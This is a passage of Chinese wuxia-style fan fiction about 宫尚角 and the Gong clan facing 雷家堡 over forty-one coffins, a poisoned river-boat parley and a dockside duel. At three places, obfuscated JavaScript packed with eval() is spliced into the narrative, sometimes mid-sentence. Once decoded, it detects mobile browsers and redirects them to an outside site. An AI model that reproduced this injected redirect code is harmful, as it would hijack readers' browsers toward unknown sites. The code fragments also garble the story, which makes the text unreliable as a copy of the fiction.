在商宫折腾了大半日,宫尚角已然精神不济,喝完鱼汤,宫紫商妇夫便早早放他回角宫休息。 他在弟弟的扶持之下走下软轿,眯起眼睛打量着随意堆放在廊下的酱色酒坛——就算他这数月以来很少出门,也不该有一个下人敢在他门口这样放东西。 “是我放在这里的。”弟弟闷声解释,“人都说冬至水味醇厚,最适合酿酒,我便也酿了几坛,里面加的是糯米和桂花。” “不过哥现在还不能喝,一会儿我将它们埋到院中那棵月桂树下,待到来年入春再掘出启封……” “到那时,哥再与我一同尝尝这糯米酒吧?” 宫尚角用指腹摩挲着项间的红绳鱼骨,静静听着弟弟略显反常的絮语。 那曾经也依偎在自己怀中的小团子,如今担负着他大半身重量,稚气尚未褪尽的脸上带着炽热如火的殷切,也带着不疑有他的决绝。 见哥哥许久不言,宫远徵垂下眉眼,不再强求回应:“进去吧哥,外面太冷了。” “——好。” 冬夜轻语忽自冰封中来,化作入耳一缕暖风。 17. 二十六·二十七 (二十六) 十一月廿三日,值神勾陈,□□凶日。 忌渡水、乘船、入殓、行丧。 诸事不宜。 是日,雷家堡门人批麻衣,执哀杖,捧灵牌,抬四十一棺强闯旧尘山谷,魂幡阴锣开道,扬撒纸钱,沿街发丧。 漫江的唢呐悲声吹不进绝壁高墙,却惊动了宫门里几位深居简出的长老。 宫岚角刚刚从宫门外回转,步履匆匆踏进长老院议事厅。宫岸角悄无声息地跟在他姐姐身后。 陛阶之上无人落座,高挑的玄衣女子抬眼之间不由得一愣。 “说。” 角宫主人的声音自台下坐席处传来。那里设了暖榻,添了额外的炭火,显然这空旷高广的殿宇对他而言还是太冷了些。 宫岚角依次向几位长老、公子见礼,这才垂手说道:“他们在江门对岸的码头设了灵堂,棺材都停在江边。雷家堡大当家雷重昭亲自到了,威胁说宫门一日不给个交代,他们就一日不离开旧尘山谷。” “雷家的小杂种颠倒是非,跑到宫门地界上来撒野,真当我们怕他不成?”花长老年事最高,却总是最先耐不住性子。 宫子羽也气得牙根痒痒:“我看他们是揣着明白装糊涂,摆明了来闹事的!” 而雪长老的目光充满忧虑:“可毕竟有那么多人死在宫门,江湖舆论本就倒向他们,此番若不处置妥当,宫门就算有理也成了没理——你们这次真是太莽撞了!” 雪长老本就因他们谋事之时未与长老商议而颇有微词,一有机会便来说教。宫尚角却忽然轻咳了几声,不仅制止了宫远徵几乎脱口而出的争论,也让雪长老将诘问之辞一并咽回肚子。 宫子羽见月长老神色未变,心知宫尚角此际多半是在借病开脱。这一招他前几日才刚用过,不过使得这般顺手,当真符合角公子一贯的行事风格? 宫尚角才不理会宫子羽投来的诧色,果断转了话题:“雷陨找着了么?” 宫岚角摇摇头:“没在旧尘山谷现身。从雷家堡一路跟过来的暗哨说,雷家的人也很久未见过这个二当家了。不过……” 她顿了顿,向身后的弟弟打了手势:“岸角说,他在雷家的队伍里看见了无锋的寒鸦。” “哪个寒鸦?” 【中秋,雷家堡,火器大会。】 ——那时他们刚刚在雷家发现无量流火图纸,宫岸角在盯梢时曾撞见雷陨与那寒鸦密谈。而一个多月前,与云为衫一同出现在旧尘山谷之外的,也是这个寒鸦。 宫子羽“噌”得从席上站起来:“我去会会雷重昭,顺便把那个寒鸦揪出来!” “子羽莫冲动!雷重昭在江湖成名起码四十年,你没有处理外事的经验,只怕斗不过他。”雪长老毕竟还是护短。 众人都明白这话是在点谁,宫子羽向前走了几步,有意无意地挡下雪长老看向他侧后方的视线:“此事本就是我主导,出了问题理应是我的责任。何况……” 何况涉及无锋,涉及阿云。他很想捉住那个寒鸦,亲耳听一听云为衫究竟会作何解释。 “当然是你的责任!”被他挡在身后的人似乎并不大领情,又或者说是在大事情上异常严苛,“你与岚角一同去,无论用什么方法,务必说服雷重昭单独见我。另外,还有两支角宫商队被截在谷外,远徵,你和岸角出谷接人,如遇阻拦直接动手,不必留情。” 宫尚角顿了顿,抬眼时目光冷冽地扫过众人:“给你们两个时辰。天黑之前若无捷报,我就自己出宫门了!” * 不得不说,宫尚角的激将法十分奏效。 日暮时雷家堡答应撤去灵堂,其时角宫的两只商队已忙着在码头边卸货。 年逾花甲的雷家堡大当家打量着与他一同登船的四个宫氏年轻人,也不禁对着江岸发出一声怅叹:“想不到一向人丁稀薄的宫门竟还有这么多新生力量……先前倒是我小看你们了!” 江风凛冽,宫门的画舸却十分平稳。若非知道船已离岸,登船者几乎感觉不到江心水波。 预知将有贵客到访,艏楼宴厅早已布置筵席,高燃炭火。宫子羽将雷重昭请进门,后者见主座仍旧空着,面色有些不悦:“不是说宫尚角要见我,他人呢?” 羽公子陪着笑执起两只酒盏:“角公子马上就到,但他恐怕无法陪大当家饮酒,就让晚辈先代他敬您一杯。刚才的事……得罪了!” 雷重昭轻哼一声:“是你和外面那女娃娃从无锋手下救了我,羽公子眼下说这话,未免太不真诚!” 他径自环起蟒臂,抱拳施了一礼:“大恩不言谢,救命之恩雷某定当报答……不过,我雷家的四十一条人命,咱们还得另说!” 他接过一只金盏倾向半空,任琼浆在身前撒落。无数碧珠瞬间迸溅,在两人之间的地板上划下一道楚河汉界。 宫子羽明白这是割席之意——雪长老的话并不假,这个雷重昭是个老江湖,对付他绝没有那么容易。 好在宫门方向已及时传来响箭,他们在大舸之上见一轻舟从江门边起帆,快速拢向江心。 宫远徵与宫岚角姐弟早已等在船头,舟上黑影缓缓登船,与三人简单交谈了几句,便只身踽踽走向艏楼。 天光已尽,甲板上灯光昏暗,雷重昭却目光如炬地俯视着这一幕,不由得喃喃自语:“三月不见,怎么会……?” “失陪一下。”宫子羽知道现在雷重昭已不会怪罪他失礼,于是马上借机下楼。 “我与他说,你前几日一直昏迷不醒,并不清楚宫门里发生了什么。一会儿你可别露馅了!”宫子羽在楼梯口处接到宫尚角,一面扶着他向上走,一面在他耳畔低语。 “……我没听错的话,你是让我装病?”宫尚角挑了挑眉,侧过脸露出一丝玩味。 他身上的病气仍然很重,刚才乘小舟来时应是受了些凉,仍在不停地咳嗽。 让一个病人装病,宫子羽一时也不知该回答是或否,只好一脸讪笑:“近来发现你好像挺擅长这事的……” 宫尚角凝了他一眼,两人转过最后一段拐角,已看见雷重昭站在阶梯之上的宴厅门口。 那燕颔虎须的老者将面目没入阴影,唯有一对环眼射出精光。 宫尚角刚刚抬起头与他示意,还未来得及说些什么,口中竟蓦然喷出一口鲜血,身体不受控制地向前跌倒。 宫子羽一时疏忽没扶住他,几乎反被带倒,登时大惊失色:他让他装病,可没让他真吐血啊! 仓促之下,他以自己的身体做了软垫,朝楼下放声大吼:“宫远徵快上来,出事了!” · · · (二十七) 十一月廿三日,星出于酉正,白虎昴宿尤现南中天。 晚来寒意蜇人,江风更是厉如冰刃。 轻舟上的女子未着重裘,凝脂一般的肌肤已冻出几片红皴。所幸水程不长,江心大舸已在眼前。 宫子羽面色凝重地立于船舷边,见轻舟靠拢便朝艏楼方向点了点头。 宴厅之内,宫远徵得了信号,转头轻声唤道:“哥,云为衫到了。” 宫尚角未及出声便觉腹中又传来剧痛,随之而来的是一阵猛烈的咳嗽。这已不知是他第几次咯血,宫远徵撑住他摇摇欲坠的身体,为他拭去唇角血迹的手隐隐在发抖。 “胸腹剧痛,呕血,四肢麻痹……这症状听起来不觉得耳熟么?”月长老已先一步上船,云为衫一登上甲板便听见他与宫子羽窃窃低语。 “……真是蚀心之月?” “从脉象上看,不会有错。” 或许是实在太痛,又或许是月长老送来的止痛药令他产生了幻觉,宫尚角目光朦胧地忆起弟弟第一次见他这般情形:那时远徵还小,还不懂得怎样照顾人。他在痛不欲生的当口,瞥见弟弟哭得伤心欲绝,还以为是自己吓到了他。 “明明痛的是我,你哭什么?……”他是真心觉得好笑,挣扎着笑出了声。 “哥哥痛,我就痛。哥哥不哭,我替哥哥哭!”小远徵一边解释一边拼命抹泪。 那晚弟弟坚持守在他身边,无论怎么劝都不肯离开。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240034|197686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他痛晕过去,醒来后才发现弟弟就那样陪着他在地上躺了整整一夜。 “可宫远徵说,哥哥体内的蚀心之月已许久不曾发作过了……”宫子羽的话音中带着忧虑和疑惑,他已经看到了云为衫,见她衣着单薄,终究有些不忍。 云为衫任他将自己的氅衣披到她身上,回身想与他亲近,却发现宫子羽的目光带着几分冷意。 有热泪淌过他的手背,滚烫,炽烈。 宫尚角叹了口气,用那只尚未麻痹的手安抚地拍了拍弟弟:“别哭,这场面你都见过多少次了……” “可哥哥何时病得这般重过?……”宫远徵极力忍住泪水,宫尚角能感受到他抱住他时细微的颤栗,“以哥哥现在的身体,怎么承受得了半月之蝇?!” “角公子身染重疾,原本内腑早已空虚,那跗骨之蝇无法从他的奇经八脉汲取养分,为求自保,必定会遁入休眠。如今他修成溯雪绝,真气再次凝聚,体内便如寒池解封、死水生澜,那些虫卵也只待一个契机,便可以随时复生。”云为衫敛目,解释了蚀心之月突然发作的原因。 月长老对她所知之详略感诧异,却不得不赞同对方所言:“是这个道理,只是我暂时还未想到,到底是什么催动了虫卵。而且无论如何,蚀心之月的药性始终不会改变,剧痛、呕血、麻痹这些症状理应出现在不同的时间点。角公子此番三症并发,实在是蹊跷得很。” 三人说话间已行至船桅处的隔舱,舱门忽然敞开,雷重昭中气十足的声音从里面传来:“……哼,宫门的小娃娃,没胆量下手就别来吓唬人!老夫若怕了你们这些微末伎俩,岂非白在江湖上混了四十余年!……” 宫门的精锐都在船上,制服雷重昭当然不是难事。难的是,雷家堡大当家本是他们请上船来和谈的客人,他们无法证明雷重昭对宫尚角下手,亦没有在他身上搜出半月之蝇,就不可能一直将人扣在船上。 而此刻岸上不仅有雷家堡门人虎视眈眈,整个江湖都在注视着这艘江心大船。若稍有差池,与雷家堡彻底结仇尚在其次,怕的是宫门在江湖中的威信毁于一旦。 好在寒风呼号,瞬间吞没了雷重昭的吼声,江岸边的人除了风声什么都听不到。 而真正听不到的人正在舱门前向宫子羽打着手势。他的语言宫子羽如今已能理解不少,知道宫岸角在问:【是否动刑?】 宫岚角脸色阴沉地自舱内走出,转向他们时问的却又是另一桩事:“以云夫人的身份,了解蚀心之月的特性不足为奇。但溯雪绝本是绝密,云夫人不仅知道自己能助角公子破境,甚至算到了公子的破境之期,这就有些奇怪了吧?” 宫尚角突然暴病的消息也是绝密。此刻除了身在大船上的人,知道此事的应当只有江门渡口边的两人。 金繁瞬也不瞬地盯着江心,只将问题抛向身侧:“你不上船?” 远处的画舸波澜不惊,船上灯火却在烈风中摇曳不定。 面对质问,云为衫的目光随着船灯忽暗忽明:“因为我去后山见过雪公子。当时角公子高热不退,连月长老也束手无策,雪公子十分忧心,便将溯雪绝的秘密告知于我,让我出手助角公子破境。这些我已与子羽解释过,岚角姑娘若还不放心,可自行去向雪公子求证。” 江风咆哮,她不觉拢紧了宫子羽给她的氅衣。 渡口处稍稍避风,但上官浅身上的轻裘仍禁不住猎猎振动。 她所修乃是孤山派的至阳心法,比其他人更怕半月之蝇的灼热之痛,却也比其他人更不畏惧这刺骨寒风:“角公子要瓮中捕蝇,我又不是那只蝇。” 甲板上隐约传来呼哨,艏楼之上,金复敲门走进宴厅:“公子,徵公子,时候差不多了。” 宫尚角额头冷汗涔涔,闭着眼睛用仅剩的力气在宫远徵臂上推了一把:“你去……” 他再次咯出血沫,但宫远徵知道哥哥已不需要他在这里:“好。早点完事,哥哥早点安心休息。” “金复,看好我哥!这次若再出事,徵宫里有一百多种让人生不如死的毒药,你一瓶瓶全给我吞下去!” 18. 二十八 (二十八) 十一月廿三日,戌初一刻,天入一更。 江风稍平,岸上偶闻哀声,不知是倦鸟归林,还是有人哭得凄厉。 而江心画舸之上此刻也并不平静: 起初那雷重昭自恃武林前辈身份,虽被困于狭小隔舱,言行举止犹然克制。但时间越拖越久,他见宫门丝毫没有放人之意,便彻底失了耐性。 【他在说什么?】宫岸角一脸困惑地盯着雷家大当家的嘴唇翕动,试图理解那些他从未见过的口型。 他的姐姐瞥了他一眼,无声回了一句:【你不必懂。】 宫子羽简直无法理解,好歹是堂堂一个名门大派的掌门,骂起人来怎会这般粗俗难听。幸好雷重昭不会什么千里传音之术,否则那些雷家人闻声冲上船来,真不知该如何收场。 云为衫看不懂他们的手语,却能读懂宫子羽的心思:“要我封住他的穴道么?” 当前形势不明,宫子羽仍在犹豫是否应当让云为衫出手,只听身后骤然一声巨响,有什么东西风驰电掣越过舱门,自他眼前飞了过去。 出手之人必定极善暗器,不仅指力腕力惊人,出手角度也拿捏得刁钻,宫子羽虽在电光石火间看出那是一枚药丸,却完全来不及阻止它直直射入雷重昭的喉管。 下一瞬,雷重昭面色铁青地捂住喉咙,神态间似在吼叫,却丝毫发不出任何声音。 宫子羽顿时大惊:“宫远徵!你喂他吃的什么?” “毒药!”徵公子这才在舱门处现身,舱内灯影斜拉出去,照见他精致眉眼间的阴沉和怒气。 “我猜是麻药和哑药。”云为衫笑着解围。 宫远徵不屑地轻哼了一声,却并未否认:“他太吵了,哥哥没法好好调息!” 这逼仄的舱室本不该容纳这么多人,但宫三公子还是硬挤进去,在雷重昭身上一通摸索,惹得雷大当家眼中冒出火星,恨不得要咬人。 “都搜过了,你还能再找出点什么来?”宫子羽有些不耐烦,对宫远徵的行径更是没底。 “如果不在他身上……”宫远徵却在垂目思索,片刻后忽然抬起头来,“那个无锋的寒鸦!你们可与他交手?当时是什么情形?仔细说与我听!” * 夜色已沉,江心降下寒霰。细小的糁粒团团坠落,触物则分崩离析,散作一层似雪非雪、似冰非冰的白晶。 雷重昭已彻底安静下来,宫门的年轻人们正忙着将雷家大当家“请”出隔舱,沿着甲板曳出一道清晰的拖痕。 月长老听到动静,自艏楼宴厅中向外张望,见宫远徵已伸手在扯雷大当家身上的罩衫,不由得轻呼:“——真是乱来!这你不管?” 宫尚角管不了。他此刻连动一动都很困难。金复一遍遍为他拭着咳出的鲜血,急得快要哭出来。 “……手脚长在他们自己身上……怎么都成了……我的责任……”若非这人仍气若游丝地说着话,行医多年的月长老几乎以为自己转头看到的是个死人。 “你!……罢了,你比他们更乱来!” 月长老急忙走回宫尚角身边,将最后一粒抑制胸痹的药喂给他,又将那咳得已无半分力气的人从金复那里扶过来:“这样下去不是办法,你的身体根本承受不住跗骨之蝇!我现在将自己的内力一点点输给你,你试着用溯雪绝来运转周身。不过你千万悠着点,我可不会什么风氏心法。倘若再把你的心疾牵出来,神仙都救不了你!” * “……那寒鸦武功不算高,但身法实在邪门,当时他就站在后排,雷家的人完全没有发现。若非我们提前得到消息,岚角也曾见过他的画像,雷大当家险些就中了他的飞针!只可惜,我们没抓到人,让他放了把毒烟逃了。” 宫子羽简要叙述完那寒鸦刺杀雷重昭的过程,云为衫几乎立即锁定了目标:“他是寒鸦陆,据说是个苗人,擅用蛛索和吹针。” “你见过他。”这不是一个问题。 宫岚角投来的目光充满审视,云为衫微微侧头,在宫子羽脸上寻到类似的神情。 至此,云为衫已明白自己为何会被请上船来,她知道辩解无益,于是马上承认:“是,我曾与寒鸦陆见过两面,一次是在雷家堡的火器大会,他要我将半张无量流火图纸混入雷家的火器典籍。另一次是在旧尘山谷外的驿站,他让我回到宫门配合雷家堡的行动。” 她低头看了看一直被迫听着他们对话的雷重昭:“现在想来,雷陨的计划至少在中秋时便已谋篇布局。” 这些云为衫此前多多少少都有交代,并没有什么新鲜事。宫岚角与宫子羽对视了一眼,继续追问:“云夫人后来没再见过他么?” 云为衫淡淡一笑:“我身边一共八个角宫暗哨,三个侍卫四个侍女一个厨娘,我每日见过谁,说过什么话,岚角姑娘不都一清二楚么?” 雪霰仍在悠悠然飘落,宫子羽低下头,仿佛那些枕于袖间的白色晶粒便是他此刻最感兴趣的东西。 云为衫伸出葱白玉手,牵紧身上大氅,以防冰珠滚入她单薄的衣衫。 宫远徵恍然一振,任满头雪丸扑簌簌落下:“你说那个寒鸦是苗人?” 云为衫停下手边动作:“至少在苗寨中呆过很长时间,所以一身招法路数十分奇特,你们一时抓不到他也不足为奇。” 宫远徵又转头与宫岚角确认:“他在逃走之前放了烟弹?” 宫岚角添了些细节:“毒烟被羽公子挡下,等我追出去时,人已经没影了。” “——我知道了,那不是毒烟,是蛊!” * 亥时,人定。 寒霰化作水雾,自江心蔓延开来。小舟载着雷重昭向江岸码头逐流而去,迅速淹没在暗夜之中。 江风又起,宫子羽缩了缩脖子,下意识去笼身上的大氅,忽记起自己此刻与云为衫一样只着单衣——他的大氅已被拿去烧了,宫子羽一想起那赤色蛊虫在宫远徵的指尖扭动身躯、不断挣扎的样子,便觉背上阵阵发冷。 “羽公子,公子请您上来。”艏楼之上,金复隔着菱窗唤他。 宫子羽朝身侧望望,欲言又止。 好在金复很快转述了主人的下一道指令:“云夫人也一同来吧,别在外面冻着了。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240035|197686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 宴厅中,宫远徵仍在解释:“……此蛊名为‘春见’,因蛊虫体内有香腺,人很难察觉,却可以唤醒周遭所有休眠的虫卵。宫子羽与寒鸦陆交手,以为对方撒的是毒,下意识用衣袖遮挡,蛊虫便借机附着在他身上。所以哥哥一与他接触,体内的蚀心之月立即发作。大家都以为是雷重昭下手,一直在他身上打转,却没想到问题出在自己人身上……” 宫尚角沉默不语地听着,见宫子羽中途进门时面含愧色,与他轻轻摇了摇头。 他的状态似是稳定了许多,至少不再咯血,清癯苍白的面颊上也不再浮现灰败之象。但宫子羽几乎立刻就注意到他前襟的污痕,以及被丢在角落中染着大团血迹的帕巾。 角公子是一个极其注重仪表的人。行走江湖时或许难免风尘仆仆,但回到宫门,即便重病缠身,他身上的衣衫也向来一尘不染。宫子羽都不敢想象刚才这里到底发生了什么。 而这些,宫远徵会知道么?昔时宫尚角月蚀,往往是他陪伴在侧,可这一次连他也被推出门外……老实说,他刚才突然出现给雷重昭喂哑药时,宫子羽有一瞬是真的以为宫尚角玉碎致他发狂。 “……这一切根本是无锋算计好的把戏,一方面催动半月之蝇,企图再次拖垮哥哥的身体,一方面嫁祸雷重昭,好让宫门与雷家彻底反目!”宫远徵眼中萦着血丝,说话时仿佛字字要咬碎后槽牙。 他又怎会不知哥哥这大半时辰如同在鬼门关前走了一趟?宫门的毒药天才能辨天下毒蛊,更何况是这剂他从小看到大的悍药。 “——徵公子刚才说的,可是半月之蝇?” 真正从鬼门关拉人的医者自始至终站在窗边一语未发,以致突然开口惊得宫远徵陡然噤声,年轻的脸上闪过一丝难抑的慌张。 月长老转向众人,月白衣衫上零星的血点如同凛冬大雪中孤注一掷的梅花。他看着梅花主人此刻老僧入定般的面庞,知道自己猜对了方向。 “宫门的蚀心之月与无锋的半月之蝇其实是有差别的。或者说,半月之蝇只是蚀心之月初级版本。而如今的蚀心之月早已经过月宫改良,加了几味不外传的密药,提升功力的效果倍增,但同时,服药者自身要承受的负担也比普通的半月之蝇大得多。几位公子初过三域试炼时吃的其实都是半月之蝇,是后期月宫评估过你们内功修为、身体情况,才以督促你们更换月蚀之期为由,为你们发放了蚀心之月。” 宫子羽仔细回忆了一下,在他通过三域试炼大约一年之后,他好像确实经历过几次格外痛苦的月蚀之期。当时他以为是身体出了问题,却发现自己的功力随着毒性消退与日俱增。若如月长老刚才所言,他应该就是在那时改服了蚀心之月。 “以角公子现在的身体状况,倘若真是蚀心之月那几味药,只怕登时就会暴毙而亡。况且蚀心之月的支取皆有记录,即使是执刃,也不能随意取得。这一次三症并发实属蹊跷,我在心中推测了各种可能性,唯一的解释便是,角公子体内共有三种处于不同阶段的蝇卵,而春见蛊引出的显然只是其中一种——所以,角公子能不能告诉我们,那另外两种,到底是怎么来的?” 19. 二十九·三十 (二十九) 江岸码头万籁俱寂,唯魂灯长明不息。对岸的宫门则如一头在黑夜中潜鳞戢羽的巨兽,只在牙关处示人几点萤烛,好教人望而生畏、知难而退。 江心画舸尤在,只是浓雾弥漫,无迹可寻。雷重昭自轻舟回身顾影,许久方喃喃道出一句:“宫尚角,你到底在想什么呢?……” 见门人已在江畔翘首,他点头以示无恙:“出了点小麻烦,让我们的人先撤吧。” “难不成就这样罢了?”门人纷纷错愕。 “想得美!”雷重昭面罩寒霜,眼中精光忽焉暴涨,“宫门约定三日后再谈。跑得了和尚跑不了庙,我们等他三日又何妨!” * 宫门说等三日,雷家的四十一口棺木便在江边停了三日。 三日后,宫子羽赶到江门,远远望见逆光中的舸帆,走近些才发现一道鸦青色的颀长身影静静伫立在阴影下的渡口。 宫子羽快步上前:“远徵弟弟,怎么就你一个人?” 宫远徵对他的姗姗来迟甚是不满:“不然呢?这么冷的天,你让哥哥站在外面等你?” 宫子羽举头望向艏楼,知道宫尚角必然已经登船。而宫远徵却在打量他身后多出的人。 皓齿蛾眉的女子莞然一笑,丝毫不惧与他对视:“远徵弟弟怎么不上船呢?”她比三日前多添了一件紫缎斗篷,显然是经人特意关照。 “不许叫我弟弟!”宫远徵又像是被谁点了炮仗,发尾的铃铛在身后恼火地摇着。 宫子羽了然一哂:“谁教他把人得罪得那么狠?雷重昭见了他若想起三日前的狼狈,我们再想谈什么都谈不成了。” 想来是已有人与他说通这其中利害,向来桀骜不驯的徵公子脸上青一阵白一阵,罕见地没吭声。 宫子羽人已到了舷梯前,迟疑片刻,还是回过头来与他确认:“尚角哥哥……真的没事了?” 三日已过,按照常理,半月之蝇的毒性应当已经完全消解。只是无论宫尚角的身体还是他这个人,都无法按照常理来揣度。 “当然有事!”宫远徵果不其然揪起眉心,对这表述发出抗议,“你赶紧上船去,哥哥和上官浅在一起,我不放心!” 又是上官浅…… 宫尚角体内蝇卵的第二处来源令宫子羽意外又不意外。除了云为衫,也的确只有上官浅手里还会有无锋的专属药丸。 这女子自回到宫门便一直不显山不露水,宫子羽近来有大半心思都在担心宫门和宫尚角,另外一半留着琢磨枕边人,时常会忘记还有这样一号人存在。他至今未知宫尚角那日究竟答应了她什么,总不会真的是执刃夫人…… 而宫门的代理执刃此刻就站在艏楼宴厅的菱窗前,宫子羽推门进去,上官浅便知趣地退开。于是宫子羽站在上官浅刚刚站过的位置,与同样一袭鸦青色长裘的宫尚角并肩眺望窗外金粼跃动的江面。 今日风平浪静,但大舸张帆航行,速度仍然快得惊人,从渡口到江心处再次下锚,也不过是片刻光景。 “还有一刻,你猜雷重昭今日还会登船么?”宫尚角终于偏过头来,低低地问。 隅中白日透过窗格,在他身上划下几道分野,但无一例外,将他异常苍白的肤色映得几近透明。 角落中的茶炉隆隆地响着,上官浅已点好两杯新茶,正打算端着茶盘站起身。云为衫却突然走过去,又伸手添了两盏,一并端到案上:“子羽,别站着了,扶角公子过来坐吧。” 宫尚角只用眼尾余光扫过她们的一举一动,不说话。 宫子羽不得不承认云为衫又一次看透了自己的心思——他并不想回答一个对方已有成算的问题,也不想再被对面略带诘责的目光注视,于是他也不管宫尚角愿不愿意,直接伸手过去。 “咝……”他的手被什么硬邦邦、冰凉凉的东西硌了一下,低头去寻罪魁祸首,却寻到了一柄环头窄刃、通体黑金、镌饰着繁复龙纹、饕餮纹和卷草纹的刀。 ——宫尚角的刀。 那柄宝刀就挂在宫尚角腰间的玉质刀扣上,在窗外艳阳下沁着幽蓝的光。可宫子羽已记不清上一次见他带刀是在什么时候。 角公子不顾他眼中诧然,自行走到案前坐下,缓缓举起一只茶盏。 宫子羽跟过来抓住他瘦骨嶙峋的手腕:“你就打算用这只手出刀么?” 那手肉眼可见地在抖,抖得几乎端不住一杯七分满的茶盏。所以宫尚角并不急着抽出腕子,反倒借着宫子羽的手,不紧不慢地啜了一口茶:“我什么时候说要出刀?” “江湖中,刀客视刀如命,剑客剑不离身。角公子作为宫门执刃,又岂可手中无刃?”上官浅仍坐在靠近茶鍑那一侧,说话间歇,炉中几点危险的火星燎过她无暇的白衫。 宫子羽奋然从宫尚角手中夺过茶盏,掷在案上:“我虽未去过江湖,却知那些刀口舔血的江湖客正因惜命,才会将武器视作性命——可代执刃大人呢?明知身体不堪重负,仍要服下半月之蝇,明知可能会被暗算,仍要当着雷重昭的面强行运功加速毒气攻心……这何止是不惜命,这简直就是在轻生!” 那夜之后,宫子羽私下问过月长老,以沈疾之躯硬扛三倍药量到底能让宫尚角获得什么。月长老苦笑:他太想要一副健康的身体,可他太不要命! 宫尚角自然不会这样答他,几乎是用戏言堵住他的质问:“不是你让我装病么?” “……” 他是这个意思吗?宫子羽一阵气结。 宫尚角笑了笑,与门外的宫岸角做了“开船”的手势,转回头道:“雷重昭不会来了。做好准备,今日的码头应该很热闹。” “……如果我求你今日不要出手,你会听吗?”踟躇片刻,宫子羽终于还是试探着问道。 这显然已不是第一个人这样问他,宫尚角既不惊讶,也不回答。或者说,他带着刀,本身便已经是回答。 宫子羽颓然叹了口气:“宫远徵果然没有说错。所以,他让我把这个给你——” · · · (三十) 旧尘山谷隐于群峦,举目高峡天堑,脚下则是湍江险滩。宫氏一族在这山环水抱之间隐居百年,也自限百年,从未如今时这般大张旗鼓进入外界视野。 也是因为雷家堡早早放出风声,闻讯而来的江湖客几日前便已填满方圆十里所有的驿站客馆。至于今晨,码头附近已是摩肩接踵,到迟了的人除非轻功卓绝,能够跃上楼宇树梢,否则便只有望人头而兴叹。 宫门画舸缓缓拢岸,人群中发出一阵惊呼。三天前大舸驻于江心,加之天色晦暗,还不甚引人注目,此番停靠码头,众人方觉那青舸锦帆蔚为壮观。 细心之人则能发现,原本雕梁画栋的艏楼之上较三日前新添了几幅素幔,想来并非偶然。 宫门早有人等在岸上,众侍卫于人群中拨开一条通路,直达江边白棚——雷家灵堂虽撤,祭台尤在,香火自内幽幽散出,飘向江面。大舸则降下舷梯,有两人出现在船舷之侧,长身鹤立,仪态整肃,任江上冷风拂过他们鸦青色的长裘羽缎。 “我还以为,宫二先生今日不会现身了。”雷重昭声若洪钟,自那白棚中袭来。 “宫门信守承诺,既然说了是三日,便绝不爽约。”回话的是宫子羽,他只用了寻常音量,却能清清楚楚传入在场每个人耳中。 雷重昭知道他在避重就轻,顿时一声哼笑:“看来宫二先生着实病得不轻,你我两大门派首领叙话,也需要别人来代传么?” 宫子羽便也笑道:“雷大当家也太不讲情面了,三日前还与我说报恩,今日我就成了‘别人’?” 对面沉默了一阵。宫子羽他们捉寒鸦时有不少人目睹,雷重昭显然不想被人视作忘恩负义,但后续船上的遭遇必定仍旧让他耿耿于怀。 宫子羽于是打了个圆场:“既然要谈,那就坐下来好好地谈。雷大当家不愿登船,宫门主随客便。只是角公子眼下确实在生病,因此还望雷大当家多多体谅。” 他说完这话便挨了宫尚角一记眼刀,讪笑着咧了咧嘴:他大略是按宫尚角的意思在说没错,只是灵光乍现地加了一句,惹得角公子有些不满。 “——这灵棚本为祭奠我雷家堡四十一条亡魂,能不能走进来,要看你们有没有这本事! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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宫子羽仍旧很不放心,于是拉了他一下,做最终努力:“你确定要自己出手?” 宫尚角目光凛冽地扫过来:“箭在弦上,别说那些没用的!雷家不会在人这么多的地方擅动火器,只恐有人从中作梗——你要看好他们,别让这些人乱来!” “不行!我得看着你!”宫子羽拒绝得明确,“你要是再有个三长两短,宫远徵非得跟我拼……” 他“命”字尚未出口,宫尚角已然自船舷飞身跃下,长刀出鞘,龙吟四野,刀光连着寒锋,顷刻间在每个沾身者的衣襟和脸颊留下几道浅痕,不多不少,俱是三寸整。 宫子羽一路跟在他身后,知道他是凭借地形优势出手,全然靠的是炉火纯青的刀法和四两拨千斤的巧劲。可即便几乎用不出什么力道,他依然在自身气势的加持之下连破数关,转眼已到了那白棚之前。 别人或许都能唬住,但灵棚之内,雷重昭几乎立即看出端倪,不禁惊呼一声:“好身手,可惜!……” 帐幔招展,顿如无数白蛾翻飞,雷重昭自一副惨白引魂幡后现身,掌心蕴足内劲,似焚轮般朝宫尚角席卷而来。宫子羽惊觉要遭,立即一个闪身腾挪,拂袖替宫尚角挡下那掌。 雷重昭连退五步站定,宫子羽方知他内功虽不如自己,却绝对可称一流高手。如若这掌真的打在宫尚角身上,那他宫子羽可真是万死难辞其咎。 ——换言之,雷重昭掌风之下不曾留手,那一瞬间必定起了十足的杀心。 宫尚角气息已乱,长刀擎身,唇边沁出几分若有似无的血迹。 宫子羽知道他已撑不了多久,于是立即扬手召回侍卫,与宫岚角一道将人护在身后:“我宫门当诸位来者是客,这才一味忍让。雷大当家若如此不留余地,就别怪我们先礼后兵了!” 宫尚角却在这时将宫子羽推开,音量虽低,说话间气势依然不输:“岚角,带你的人撤出码头。子羽,你现在回船上起锚。我要与雷大当家单独聊聊。” 